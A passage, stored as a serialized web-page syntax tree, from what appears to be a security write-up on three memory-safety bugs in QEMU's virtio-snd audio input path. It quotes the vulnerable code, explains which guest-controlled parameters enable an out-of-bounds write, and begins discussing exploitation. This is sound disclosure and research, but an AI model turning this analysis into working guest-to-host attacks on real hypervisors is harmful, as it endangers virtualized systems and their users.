13},"in_num\n",{"type":22,"tag":101,"props":128615,"children":128616},{"class":103,"line":7829},[128617],{"type":22,"tag":101,"props":128618,"children":128619},{"style":120},[128620],{"type":27,"value":128621}," );\n",{"type":22,"tag":101,"props":128623,"children":128624},{"class":103,"line":7837},[128625,128630],{"type":22,"tag":101,"props":128626,"children":128627},{"style":3595},[128628],{"type":27,"value":128629}," for",{"type":22,"tag":101,"props":128631,"children":128632},{"style":120},[128633],{"type":27,"value":127433},{"type":22,"tag":101,"props":128635,"children":128636},{"class":103,"line":7868},[128637,128641,128645,128650,128654,128658,128662,128667],{"type":22,"tag":101,"props":128638,"children":128639},{"style":3595},[128640],{"type":27,"value":107027},{"type":22,"tag":101,"props":128642,"children":128643},{"style":120},[128644],{"type":27,"value":3603},{"type":22,"tag":101,"props":128646,"children":128647},{"style":126},[128648],{"type":27,"value":128649},"buffer",{"type":22,"tag":101,"props":128651,"children":128652},{"style":120},[128653],{"type":27,"value":17759},{"type":22,"tag":101,"props":128655,"children":128656},{"style":126},[128657],{"type":27,"value":127767},{"type":22,"tag":101,"props":128659,"children":128660},{"style":166},[128661],{"type":27,"value":12311},{"type":22,"tag":101,"props":128663,"children":128664},{"style":120},[128665],{"type":27,"value":128666}," max_size) {",{"type":22,"tag":101,"props":128668,"children":128669},{"style":2215},[128670],{"type":27,"value":128671}," // [2]\n",{"type":22,"tag":101,"props":128673,"children":128674},{"class":103,"line":7876},[128675,128680],{"type":22,"tag":101,"props":128676,"children":128677},{"style":926},[128678],{"type":27,"value":128679}," return_rx_buffer",{"type":22,"tag":101,"props":128681,"children":128682},{"style":120},[128683],{"type":27,"value":128684},"(stream, buffer);\n",{"type":22,"tag":101,"props":128686,"children":128687},{"class":103,"line":7936},[128688,128693],{"type":22,"tag":101,"props":128689,"children":128690},{"style":3595},[128691],{"type":27,"value":128692}," break",{"type":22,"tag":101,"props":128694,"children":128695},{"style":120},[128696],{"type":27,"value":1520},{"type":22,"tag":101,"props":128698,"children":128699},{"class":103,"line":13054},[128700],{"type":22,"tag":101,"props":128701,"children":128702},{"style":120},[128703],{"type":27,"value":74576},{"type":22,"tag":101,"props":128705,"children":128706},{"class":103,"line":13072},[128707,128712,128716,128721,128725,128729,128733,128738,128742,128746],{"type":22,"tag":101,"props":128708,"children":128709},{"style":120},[128710],{"type":27,"value":128711}," size ",{"type":22,"tag":101,"props":128713,"children":128714},{"style":166},[128715],{"type":27,"value":1511},{"type":22,"tag":101,"props":128717,"children":128718},{"style":926},[128719],{"type":27,"value":128720}," AUD_read",{"type":22,"tag":101,"props":128722,"children":128723},{"style":120},[128724],{"type":27,"value":980},{"type":22,"tag":101,"props":128726,"children":128727},{"style":126},[128728],{"type":27,"value":40257},{"type":22,"tag":101,"props":128730,"children":128731},{"style":120},[128732],{"type":27,"value":17759},{"type":22,"tag":101,"props":128734,"children":128735},{"style":126},[128736],{"type":27,"value":128737},"voice",{"type":22,"tag":101,"props":128739,"children":128740},{"style":120},[128741],{"type":27,"value":231},{"type":22,"tag":101,"props":128743,"children":128744},{"style":126},[128745],{"type":27,"value":99005},{"type":22,"tag":101,"props":128747,"children":128748},{"style":120},[128749],{"type":27,"value":179},{"type":22,"tag":101,"props":128751,"children":128752},{"class":103,"line":13117},[128753,128758,128762,128766,128770,128775,128779,128783],{"type":22,"tag":101,"props":128754,"children":128755},{"style":126},[128756],{"type":27,"value":128757}," buffer",{"type":22,"tag":101,"props":128759,"children":128760},{"style":120},[128761],{"type":27,"value":17759},{"type":22,"tag":101,"props":128763,"children":128764},{"style":126},[128765],{"type":27,"value":7738},{"type":22,"tag":101,"props":128767,"children":128768},{"style":166},[128769],{"type":27,"value":3643},{"type":22,"tag":101,"props":128771,"children":128772},{"style":126},[128773],{"type":27,"value":128774}," buffer",{"type":22,"tag":101,"props":128776,"children":128777},{"style":120},[128778],{"type":27,"value":17759},{"type":22,"tag":101,"props":128780,"children":128781},{"style":126},[128782],{"type":27,"value":127767},{"type":22,"tag":101,"props":128784,"children":128785},{"style":120},[128786],{"type":27,"value":179},{"type":22,"tag":101,"props":128788,"children":128789},{"class":103,"line":13223},[128790,128795,128800,128804,128808,128812,128816,128821,128825],{"type":22,"tag":101,"props":128791,"children":128792},{"style":926},[128793],{"type":27,"value":128794}," MIN",{"type":22,"tag":101,"props":128796,"children":128797},{"style":120},[128798],{"type":27,"value":128799},"(available, (",{"type":22,"tag":101,"props":128801,"children":128802},{"style":126},[128803],{"type":27,"value":40257},{"type":22,"tag":101,"props":128805,"children":128806},{"style":120},[128807],{"type":27,"value":17759},{"type":22,"tag":101,"props":128809,"children":128810},{"style":126},[128811],{"type":27,"value":101789},{"type":22,"tag":101,"props":128813,"children":128814},{"style":120},[128815],{"type":27,"value":231},{"type":22,"tag":101,"props":128817,"children":128818},{"style":126},[128819],{"type":27,"value":128820},"period_bytes",{"type":22,"tag":101,"props":128822,"children":128823},{"style":166},[128824],{"type":27,"value":55251},{"type":22,"tag":101,"props":128826,"children":128827},{"style":2215},[128828],{"type":27,"value":128829}," // [3]\n",{"type":22,"tag":101,"props":128831,"children":128832},{"class":103,"line":27496},[128833,128838,128842,128846],{"type":22,"tag":101,"props":128834,"children":128835},{"style":126},[128836],{"type":27,"value":128837}," buffer",{"type":22,"tag":101,"props":128839,"children":128840},{"style":120},[128841],{"type":27,"value":17759},{"type":22,"tag":101,"props":128843,"children":128844},{"style":126},[128845],{"type":27,"value":127767},{"type":22,"tag":101,"props":128847,"children":128848},{"style":120},[128849],{"type":27,"value":128850},")));\n",{"type":22,"tag":101,"props":128852,"children":128853},{"class":103,"line":27531},[128854,128858,128862,128866],{"type":22,"tag":101,"props":128855,"children":128856},{"style":3595},[128857],{"type":27,"value":107027},{"type":22,"tag":101,"props":128859,"children":128860},{"style":120},[128861],{"type":27,"value":3603},{"type":22,"tag":101,"props":128863,"children":128864},{"style":166},[128865],{"type":27,"value":2109},{"type":22,"tag":101,"props":128867,"children":128868},{"style":120},[128869],{"type":27,"value":128870},"size) {\n",{"type":22,"tag":101,"props":128872,"children":128873},{"class":103,"line":27539},[128874,128879,128883,128887],{"type":22,"tag":101,"props":128875,"children":128876},{"style":120},[128877],{"type":27,"value":128878}," available ",{"type":22,"tag":101,"props":128880,"children":128881},{"style":166},[128882],{"type":27,"value":1511},{"type":22,"tag":101,"props":128884,"children":128885},{"style":1544},[128886],{"type":27,"value":1547},{"type":22,"tag":101,"props":128888,"children":128889},{"style":120},[128890],{"type":27,"value":1520},{"type":22,"tag":101,"props":128892,"children":128893},{"class":103,"line":27547},[128894,128898],{"type":22,"tag":101,"props":128895,"children":128896},{"style":3595},[128897],{"type":27,"value":128692},{"type":22,"tag":101,"props":128899,"children":128900},{"style":120},[128901],{"type":27,"value":1520},{"type":22,"tag":101,"props":128903,"children":128904},{"class":103,"line":27556},[128905],{"type":22,"tag":101,"props":128906,"children":128907},{"style":120},[128908],{"type":27,"value":74576},{"type":22,"tag":101,"props":128910,"children":128911},{"class":103,"line":27598},[128912,128916,128920,128924,128928],{"type":22,"tag":101,"props":128913,"children":128914},{"style":126},[128915],{"type":27,"value":128569},{"type":22,"tag":101,"props":128917,"children":128918},{"style":120},[128919],{"type":27,"value":17759},{"type":22,"tag":101,"props":128921,"children":128922},{"style":126},[128923],{"type":27,"value":127767},{"type":22,"tag":101,"props":128925,"children":128926},{"style":166},[128927],{"type":27,"value":19066},{"type":22,"tag":101,"props":128929,"children":128930},{"style":120},[128931],{"type":27,"value":128109},{"type":22,"tag":101,"props":128933,"children":128934},{"class":103,"line":27631},[128935,128940,128944],{"type":22,"tag":101,"props":128936,"children":128937},{"style":120},[128938],{"type":27,"value":128939}," available ",{"type":22,"tag":101,"props":128941,"children":128942},{"style":166},[128943],{"type":27,"value":107492},{"type":22,"tag":101,"props":128945,"children":128946},{"style":120},[128947],{"type":27,"value":128109},{"type":22,"tag":101,"props":128949,"children":128950},{"class":103,"line":27639},[128951],{"type":22,"tag":101,"props":128952,"children":128953},{"style":120},[128954],{"type":27,"value":128955}," [...]\n",{"type":22,"tag":101,"props":128957,"children":128958},{"class":103,"line":27647},[128959],{"type":22,"tag":101,"props":128960,"children":128961},{"style":120},[128962],{"type":27,"value":62882},{"type":22,"tag":101,"props":128964,"children":128965},{"class":103,"line":27656},[128966],{"type":22,"tag":101,"props":128967,"children":128968},{"style":120},[128969],{"type":27,"value":2398},{"type":22,"tag":101,"props":128971,"children":128972},{"class":103,"line":27732},[128973],{"type":22,"tag":101,"props":128974,"children":128975},{"style":120},[128976],{"type":27,"value":1734},{"type":22,"tag":101,"props":128978,"children":128979},{"class":103,"line":27765},[128980],{"type":22,"tag":101,"props":128981,"children":128982},{"style":120},[128983],{"type":27,"value":188},{"type":22,"tag":23,"props":128985,"children":128986},{},[128987,128988,128993,128994,129000,129002,129008,129010,129015,129016,129021,129023,129028],{"type":27,"value":127889},{"type":22,"tag":30,"props":128989,"children":128991},{"className":128990},[],[128992],{"type":27,"value":127895},{"type":27,"value":758},{"type":22,"tag":30,"props":128995,"children":128997},{"className":128996},[],[128998],{"type":27,"value":128999},"max_size",{"type":27,"value":129001}," is set to ",{"type":22,"tag":30,"props":129003,"children":129005},{"className":129004},[],[129006],{"type":27,"value":129007},"iov_size(in_sg, in_num)",{"type":27,"value":129009},". Both ",{"type":22,"tag":30,"props":129011,"children":129013},{"className":129012},[],[129014],{"type":27,"value":127620},{"type":27,"value":209},{"type":22,"tag":30,"props":129017,"children":129019},{"className":129018},[],[129020],{"type":27,"value":127637},{"type":27,"value":129022}," are the same guest-controlled fields from ",{"type":22,"tag":30,"props":129024,"children":129026},{"className":129025},[],[129027],{"type":27,"value":127272},{"type":27,"value":231},{"type":22,"tag":23,"props":129030,"children":129031},{},[129032,129034,129039,129041,129047,129049,129055,129057,129063],{"type":27,"value":129033},"Later, at ",{"type":22,"tag":30,"props":129035,"children":129037},{"className":129036},[],[129038],{"type":27,"value":127930},{"type":27,"value":129040},", the code checks whether ",{"type":22,"tag":30,"props":129042,"children":129044},{"className":129043},[],[129045],{"type":27,"value":129046},"buffer->size >= max_size",{"type":27,"value":129048},". In the RX path, ",{"type":22,"tag":30,"props":129050,"children":129052},{"className":129051},[],[129053],{"type":27,"value":129054},"buffer->size",{"type":27,"value":129056}," tracks how many bytes have been written into ",{"type":22,"tag":30,"props":129058,"children":129060},{"className":129059},[],[129061],{"type":27,"value":129062},"buffer->data",{"type":27,"value":129064},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":22,"tag":23,"props":129066,"children":129067},{},[129068,129070,129075,129077,129083,129085,129090,129092,129098],{"type":27,"value":129069},"However, this does not match the allocation logic in ",{"type":22,"tag":30,"props":129071,"children":129073},{"className":129072},[],[129074],{"type":27,"value":127272},{"type":27,"value":129076},", which used: ",{"type":22,"tag":30,"props":129078,"children":129080},{"className":129079},[],[129081],{"type":27,"value":129082},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":27,"value":129084},". In other words, the allocation subtracts ",{"type":22,"tag":30,"props":129086,"children":129088},{"className":129087},[],[129089],{"type":27,"value":127996},{"type":27,"value":129091},", but the later bound in ",{"type":22,"tag":30,"props":129093,"children":129095},{"className":129094},[],[129096],{"type":27,"value":129097},"virtio_snd_pcm_in_cb",{"type":27,"value":129099}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":22,"tag":23,"props":129101,"children":129102},{},[129103,129105,129110,129112,129118,129120,129126,129128,129133,129135,129141,129143,129149,129151,129156,129158,129163],{"type":27,"value":129104},"Finally, at ",{"type":22,"tag":30,"props":129106,"children":129108},{"className":129107},[],[129109],{"type":27,"value":127954},{"type":27,"value":129111},", the code calls ",{"type":22,"tag":30,"props":129113,"children":129115},{"className":129114},[],[129116],{"type":27,"value":129117},"AUD_read",{"type":27,"value":129119}," with the following limit:\n",{"type":22,"tag":30,"props":129121,"children":129123},{"className":129122},[],[129124],{"type":27,"value":129125},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":27,"value":129127},". Notice how this bound does not take ",{"type":22,"tag":30,"props":129129,"children":129131},{"className":129130},[],[129132],{"type":27,"value":128999},{"type":27,"value":129134}," into account at all. That means if ",{"type":22,"tag":30,"props":129136,"children":129138},{"className":129137},[],[129139],{"type":27,"value":129140},"available",{"type":27,"value":129142}," is larger than the allocated buffer, and ",{"type":22,"tag":30,"props":129144,"children":129146},{"className":129145},[],[129147],{"type":27,"value":129148},"stream->params.period_bytes",{"type":27,"value":129150}," is also larger than the allocated buffer, ",{"type":22,"tag":30,"props":129152,"children":129154},{"className":129153},[],[129155],{"type":27,"value":129117},{"type":27,"value":129157}," will write past the end of ",{"type":22,"tag":30,"props":129159,"children":129161},{"className":129160},[],[129162],{"type":27,"value":129062},{"type":27,"value":129164}," - the third, and final, bug we found.",{"type":22,"tag":23,"props":129166,"children":129167},{},[129168,129170,129175,129177,129183],{"type":27,"value":129169},"Looking further at the code, we can see that ",{"type":22,"tag":30,"props":129171,"children":129173},{"className":129172},[],[129174],{"type":27,"value":129148},{"type":27,"value":129176}," is fully guest-controlled by issuing a ",{"type":22,"tag":30,"props":129178,"children":129180},{"className":129179},[],[129181],{"type":27,"value":129182},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":27,"value":129184}," request:",{"type":22,"tag":91,"props":129186,"children":129188},{"code":129187,"language":7187,"meta":7,"className":20513,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[129189],{"type":22,"tag":30,"props":129190,"children":129191},{"__ignoreMap":7},[129192,129200,129229,129246,129266,129273,129290,129297,129304,129311,129333,129340,129347,129354,129400,129443,129487,129495,129532,129568,129604,129611,129628],{"type":22,"tag":101,"props":129193,"children":129194},{"class":103,"line":104},[129195],{"type":22,"tag":101,"props":129196,"children":129197},{"style":108},[129198],{"type":27,"value":129199},"static\n",{"type":22,"tag":101,"props":129201,"children":129202},{"class":103,"line":157},[129203,129207,129212,129217,129221,129225],{"type":22,"tag":101,"props":129204,"children":129205},{"style":108},[129206],{"type":27,"value":61930},{"type":22,"tag":101,"props":129208,"children":129209},{"style":926},[129210],{"type":27,"value":129211}," virtio_snd_set_pcm_params",{"type":22,"tag":101,"props":129213,"children":129214},{"style":120},[129215],{"type":27,"value":129216},"(VirtIOSound ",{"type":22,"tag":101,"props":129218,"children":129219},{"style":166},[129220],{"type":27,"value":8615},{"type":22,"tag":101,"props":129222,"children":129223},{"style":126},[129224],{"type":27,"value":14657},{"type":22,"tag":101,"props":129226,"children":129227},{"style":120},[129228],{"type":27,"value":179},{"type":22,"tag":101,"props":129230,"children":129231},{"class":103,"line":182},[129232,129237,129242],{"type":22,"tag":101,"props":129233,"children":129234},{"style":108},[129235],{"type":27,"value":129236}," uint32_t",{"type":22,"tag":101,"props":129238,"children":129239},{"style":126},[129240],{"type":27,"value":129241}," stream_id",{"type":22,"tag":101,"props":129243,"children":129244},{"style":120},[129245],{"type":27,"value":179},{"type":22,"tag":101,"props":129247,"children":129248},{"class":103,"line":367},[129249,129254,129258,129262],{"type":22,"tag":101,"props":129250,"children":129251},{"style":120},[129252],{"type":27,"value":129253}," virtio_snd_pcm_set_params ",{"type":22,"tag":101,"props":129255,"children":129256},{"style":166},[129257],{"type":27,"value":8615},{"type":22,"tag":101,"props":129259,"children":129260},{"style":126},[129261],{"type":27,"value":101789},{"type":22,"tag":101,"props":129263,"children":129264},{"style":120},[129265],{"type":27,"value":2510},{"type":22,"tag":101,"props":129267,"children":129268},{"class":103,"line":398},[129269],{"type":22,"tag":101,"props":129270,"children":129271},{"style":120},[129272],{"type":27,"value":14886},{"type":22,"tag":101,"props":129274,"children":129275},{"class":103,"line":428},[129276,129281,129285],{"type":22,"tag":101,"props":129277,"children":129278},{"style":120},[129279],{"type":27,"value":129280}," virtio_snd_pcm_set_params ",{"type":22,"tag":101,"props":129282,"children":129283},{"style":166},[129284],{"type":27,"value":8615},{"type":22,"tag":101,"props":129286,"children":129287},{"style":120},[129288],{"type":27,"value":129289},"st_params;\n",{"type":22,"tag":101,"props":129291,"children":129292},{"class":103,"line":997},[129293],{"type":22,"tag":101,"props":129294,"children":129295},{"emptyLinePlaceholder":15},[129296],{"type":27,"value":1581},{"type":22,"tag":101,"props":129298,"children":129299},{"class":103,"line":1032},[129300],{"type":22,"tag":101,"props":129301,"children":129302},{"style":120},[129303],{"type":27,"value":108308},{"type":22,"tag":101,"props":129305,"children":129306},{"class":103,"line":1063},[129307],{"type":22,"tag":101,"props":129308,"children":129309},{"emptyLinePlaceholder":15},[129310],{"type":27,"value":1581},{"type":22,"tag":101,"props":129312,"children":129313},{"class":103,"line":1071},[129314,129319,129323,129328],{"type":22,"tag":101,"props":129315,"children":129316},{"style":120},[129317],{"type":27,"value":129318}," st_params ",{"type":22,"tag":101,"props":129320,"children":129321},{"style":166},[129322],{"type":27,"value":1511},{"type":22,"tag":101,"props":129324,"children":129325},{"style":926},[129326],{"type":27,"value":129327}," virtio_snd_pcm_get_params",{"type":22,"tag":101,"props":129329,"children":129330},{"style":120},[129331],{"type":27,"value":129332},"(s, stream_id);\n",{"type":22,"tag":101,"props":129334,"children":129335},{"class":103,"line":1110},[129336],{"type":22,"tag":101,"props":129337,"children":129338},{"emptyLinePlaceholder":15},[129339],{"type":27,"value":1581},{"type":22,"tag":101,"props":129341,"children":129342},{"class":103,"line":1118},[129343],{"type":22,"tag":101,"props":129344,"children":129345},{"style":120},[129346],{"type":27,"value":108308},{"type":22,"tag":101,"props":129348,"children":129349},{"class":103,"line":1158},[129350],{"type":22,"tag":101,"props":129351,"children":129352},{"emptyLinePlaceholder":15},[129353],{"type":27,"value":1581},{"type":22,"tag":101,"props":129355,"children":129356},{"class":103,"line":1166},[129357,129362,129366,129371,129375,129380,129384,129388,129392,129396],{"type":22,"tag":101,"props":129358,"children":129359},{"style":126},[129360],{"type":27,"value":129361}," st_params",{"type":22,"tag":101,"props":129363,"children":129364},{"style":120},[129365],{"type":27,"value":17759},{"type":22,"tag":101,"props":129367,"children":129368},{"style":126},[129369],{"type":27,"value":129370},"buffer_bytes",{"type":22,"tag":101,"props":129372,"children":129373},{"style":166},[129374],{"type":27,"value":960},{"type":22,"tag":101,"props":129376,"children":129377},{"style":926},[129378],{"type":27,"value":129379}," le32_to_cpu",{"type":22,"tag":101,"props":129381,"children":129382},{"style":120},[129383],{"type":27,"value":980},{"type":22,"tag":101,"props":129385,"children":129386},{"style":126},[129387],{"type":27,"value":101789},{"type":22,"tag":101,"props":129389,"children":129390},{"style":120},[129391],{"type":27,"value":17759},{"type":22,"tag":101,"props":129393,"children":129394},{"style":126},[129395],{"type":27,"value":129370},{"type":22,"tag":101,"props":129397,"children":129398},{"style":120},[129399],{"type":27,"value":994},{"type":22,"tag":101,"props":129401,"children":129402},{"class":103,"line":1215},[129403,129407,129411,129415,129419,129423,129427,129431,129435,129439],{"type":22,"tag":101,"props":129404,"children":129405},{"style":126},[129406],{"type":27,"value":129361},{"type":22,"tag":101,"props":129408,"children":129409},{"style":120},[129410],{"type":27,"value":17759},{"type":22,"tag":101,"props":129412,"children":129413},{"style":126},[129414],{"type":27,"value":128820},{"type":22,"tag":101,"props":129416,"children":129417},{"style":166},[129418],{"type":27,"value":960},{"type":22,"tag":101,"props":129420,"children":129421},{"style":926},[129422],{"type":27,"value":129379},{"type":22,"tag":101,"props":129424,"children":129425},{"style":120},[129426],{"type":27,"value":980},{"type":22,"tag":101,"props":129428,"children":129429},{"style":126},[129430],{"type":27,"value":101789},{"type":22,"tag":101,"props":129432,"children":129433},{"style":120},[129434],{"type":27,"value":17759},{"type":22,"tag":101,"props":129436,"children":129437},{"style":126},[129438],{"type":27,"value":128820},{"type":22,"tag":101,"props":129440,"children":129441},{"style":120},[129442],{"type":27,"value":994},{"type":22,"tag":101,"props":129444,"children":129445},{"class":103,"line":2425},[129446,129450,129454,129459,129463,129467,129471,129475,129479,129483],{"type":22,"tag":101,"props":129447,"children":129448},{"style":126},[129449],{"type":27,"value":129361},{"type":22,"tag":101,"props":129451,"children":129452},{"style":120},[129453],{"type":27,"value":17759},{"type":22,"tag":101,"props":129455,"children":129456},{"style":126},[129457],{"type":27,"value":129458},"features",{"type":22,"tag":101,"props":129460,"children":129461},{"style":166},[129462],{"type":27,"value":960},{"type":22,"tag":101,"props":129464,"children":129465},{"style":926},[129466],{"type":27,"value":129379},{"type":22,"tag":101,"props":129468,"children":129469},{"style":120},[129470],{"type":27,"value":980},{"type":22,"tag":101,"props":129472,"children":129473},{"style":126},[129474],{"type":27,"value":101789},{"type":22,"tag":101,"props":129476,"children":129477},{"style":120},[129478],{"type":27,"value":17759},{"type":22,"tag":101,"props":129480,"children":129481},{"style":126},[129482],{"type":27,"value":129458},{"type":22,"tag":101,"props":129484,"children":129485},{"style":120},[129486],{"type":27,"value":994},{"type":22,"tag":101,"props":129488,"children":129489},{"class":103,"line":5417},[129490],{"type":22,"tag":101,"props":129491,"children":129492},{"style":2215},[129493],{"type":27,"value":129494}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":22,"tag":101,"props":129496,"children":129497},{"class":103,"line":7714},[129498,129502,129506,129511,129515,129520,129524,129528],{"type":22,"tag":101,"props":129499,"children":129500},{"style":126},[129501],{"type":27,"value":129361},{"type":22,"tag":101,"props":129503,"children":129504},{"style":120},[129505],{"type":27,"value":17759},{"type":22,"tag":101,"props":129507,"children":129508},{"style":126},[129509],{"type":27,"value":129510},"channels",{"type":22,"tag":101,"props":129512,"children":129513},{"style":166},[129514],{"type":27,"value":960},{"type":22,"tag":101,"props":129516,"children":129517},{"style":126},[129518],{"type":27,"value":129519}," params",{"type":22,"tag":101,"props":129521,"children":129522},{"style":120},[129523],{"type":27,"value":17759},{"type":22,"tag":101,"props":129525,"children":129526},{"style":126},[129527],{"type":27,"value":129510},{"type":22,"tag":101,"props":129529,"children":129530},{"style":120},[129531],{"type":27,"value":1520},{"type":22,"tag":101,"props":129533,"children":129534},{"class":103,"line":7723},[129535,129539,129543,129548,129552,129556,129560,129564],{"type":22,"tag":101,"props":129536,"children":129537},{"style":126},[129538],{"type":27,"value":129361},{"type":22,"tag":101,"props":129540,"children":129541},{"style":120},[129542],{"type":27,"value":17759},{"type":22,"tag":101,"props":129544,"children":129545},{"style":126},[129546],{"type":27,"value":129547},"format",{"type":22,"tag":101,"props":129549,"children":129550},{"style":166},[129551],{"type":27,"value":960},{"type":22,"tag":101,"props":129553,"children":129554},{"style":126},[129555],{"type":27,"value":129519},{"type":22,"tag":101,"props":129557,"children":129558},{"style":120},[129559],{"type":27,"value":17759},{"type":22,"tag":101,"props":129561,"children":129562},{"style":126},[129563],{"type":27,"value":129547},{"type":22,"tag":101,"props":129565,"children":129566},{"style":120},[129567],{"type":27,"value":1520},{"type":22,"tag":101,"props":129569,"children":129570},{"class":103,"line":7791},[129571,129575,129579,129584,129588,129592,129596,129600],{"type":22,"tag":101,"props":129572,"children":129573},{"style":126},[129574],{"type":27,"value":129361},{"type":22,"tag":101,"props":129576,"children":129577},{"style":120},[129578],{"type":27,"value":17759},{"type":22,"tag":101,"props":129580,"children":129581},{"style":126},[129582],{"type":27,"value":129583},"rate",{"type":22,"tag":101,"props":129585,"children":129586},{"style":166},[129587],{"type":27,"value":960},{"type":22,"tag":101,"props":129589,"children":129590},{"style":126},[129591],{"type":27,"value":129519},{"type":22,"tag":101,"props":129593,"children":129594},{"style":120},[129595],{"type":27,"value":17759},{"type":22,"tag":101,"props":129597,"children":129598},{"style":126},[129599],{"type":27,"value":129583},{"type":22,"tag":101,"props":129601,"children":129602},{"style":120},[129603],{"type":27,"value":1520},{"type":22,"tag":101,"props":129605,"children":129606},{"class":103,"line":7799},[129607],{"type":22,"tag":101,"props":129608,"children":129609},{"emptyLinePlaceholder":15},[129610],{"type":27,"value":1581},{"type":22,"tag":101,"props":129612,"children":129613},{"class":103,"line":7829},[129614,129618,129623],{"type":22,"tag":101,"props":129615,"children":129616},{"style":3595},[129617],{"type":27,"value":20986},{"type":22,"tag":101,"props":129619,"children":129620},{"style":926},[129621],{"type":27,"value":129622}," cpu_to_le32",{"type":22,"tag":101,"props":129624,"children":129625},{"style":120},[129626],{"type":27,"value":129627},"(VIRTIO_SND_S_OK);\n",{"type":22,"tag":101,"props":129629,"children":129630},{"class":103,"line":7837},[129631],{"type":22,"tag":101,"props":129632,"children":129633},{"style":120},[129634],{"type":27,"value":188},{"type":22,"tag":23,"props":129636,"children":129637},{},[129638,129640,129645,129647,129653,129655,129660,129662,129667,129669,129675,129676,129681],{"type":27,"value":129639},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":22,"tag":30,"props":129641,"children":129643},{"className":129642},[],[129644],{"type":27,"value":7458},{"type":27,"value":129646},") and signed (",{"type":22,"tag":30,"props":129648,"children":129650},{"className":129649},[],[129651],{"type":27,"value":129652},"s8",{"type":27,"value":129654},") samples. They encode the same waveform differently - silence is ",{"type":22,"tag":30,"props":129656,"children":129658},{"className":129657},[],[129659],{"type":27,"value":33438},{"type":27,"value":129661}," in ",{"type":22,"tag":30,"props":129663,"children":129665},{"className":129664},[],[129666],{"type":27,"value":7458},{"type":27,"value":129668},", but ",{"type":22,"tag":30,"props":129670,"children":129672},{"className":129671},[],[129673],{"type":27,"value":129674},"0x00",{"type":27,"value":129661},{"type":22,"tag":30,"props":129677,"children":129679},{"className":129678},[],[129680],{"type":27,"value":129652},{"type":27,"value":231},{"type":22,"tag":1398,"props":129683,"children":129684},{},[],{"type":22,"tag":23,"props":129686,"children":129687},{},[129688],{"type":27,"value":129689},"To summarize:",{"type":22,"tag":6828,"props":129691,"children":129692},{},[129693,129712,129730],{"type":22,"tag":6832,"props":129694,"children":129695},{},[129696,129698,129703,129705,129710],{"type":27,"value":129697},"an integer underflow in the ",{"type":22,"tag":30,"props":129699,"children":129701},{"className":129700},[],[129702],{"type":27,"value":127767},{"type":27,"value":129704}," calculation in ",{"type":22,"tag":30,"props":129706,"children":129708},{"className":129707},[],[129709],{"type":27,"value":127272},{"type":27,"value":129711},", resulting in an 8-byte (or less) under-allocation",{"type":22,"tag":6832,"props":129713,"children":129714},{},[129715,129717,129722,129723,129728],{"type":27,"value":129716},"a mismatch in the ",{"type":22,"tag":30,"props":129718,"children":129720},{"className":129719},[],[129721],{"type":27,"value":128999},{"type":27,"value":129704},{"type":22,"tag":30,"props":129724,"children":129726},{"className":129725},[],[129727],{"type":27,"value":129097},{"type":27,"value":129729},", leading to at most 8-byte OOB write",{"type":22,"tag":6832,"props":129731,"children":129732},{},[129733,129735,129740,129742,129747,129749,129754],{"type":27,"value":129734},"a missing bound in the ",{"type":22,"tag":30,"props":129736,"children":129738},{"className":129737},[],[129739],{"type":27,"value":127767},{"type":27,"value":129741}," passed to ",{"type":22,"tag":30,"props":129743,"children":129745},{"className":129744},[],[129746],{"type":27,"value":129117},{"type":27,"value":129748},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":22,"tag":30,"props":129750,"children":129752},{"className":129751},[],[129753],{"type":27,"value":129140},{"type":27,"value":85796},{"type":22,"tag":23,"props":129756,"children":129757},{},[129758,129760,129765,129767,129772,129774,129780],{"type":27,"value":129759},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":22,"tag":30,"props":129761,"children":129763},{"className":129762},[],[129764],{"type":27,"value":129140},{"type":27,"value":129766},", but in our setup with the ALSA backend, ",{"type":22,"tag":30,"props":129768,"children":129770},{"className":129769},[],[129771],{"type":27,"value":129140},{"type":27,"value":129773}," was consistently around ",{"type":22,"tag":30,"props":129775,"children":129777},{"className":129776},[],[129778],{"type":27,"value":129779},"4096",{"type":27,"value":231},{"type":22,"tag":23,"props":129782,"children":129783},{},[129784,129786,129793,129794,129801],{"type":27,"value":129785},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":22,"tag":80,"props":129787,"children":129790},{"href":129788,"rel":129789},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[84],[129791],{"type":27,"value":129792},"commit 1",{"type":27,"value":758},{"type":22,"tag":80,"props":129795,"children":129798},{"href":129796,"rel":129797},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[84],[129799],{"type":27,"value":129800},"commit 2",{"type":27,"value":129802},") in the very same week that we independently found them while manually reviewing the code.",{"type":22,"tag":53,"props":129804,"children":129805},{"id":103615},[129806],{"type":27,"value":103618},{"type":22,"tag":23,"props":129808,"children":129809},{},[129810],{"type":27,"value":129811},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":22,"tag":23,"props":129813,"children":129814},{},[129815],{"type":27,"value":129816},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":22,"tag":1760,"props":129818,"children":129820},{"id":129819},"achieving-a-better-primitive",[129821],{"type":27,"value":129822},"Achieving a Better 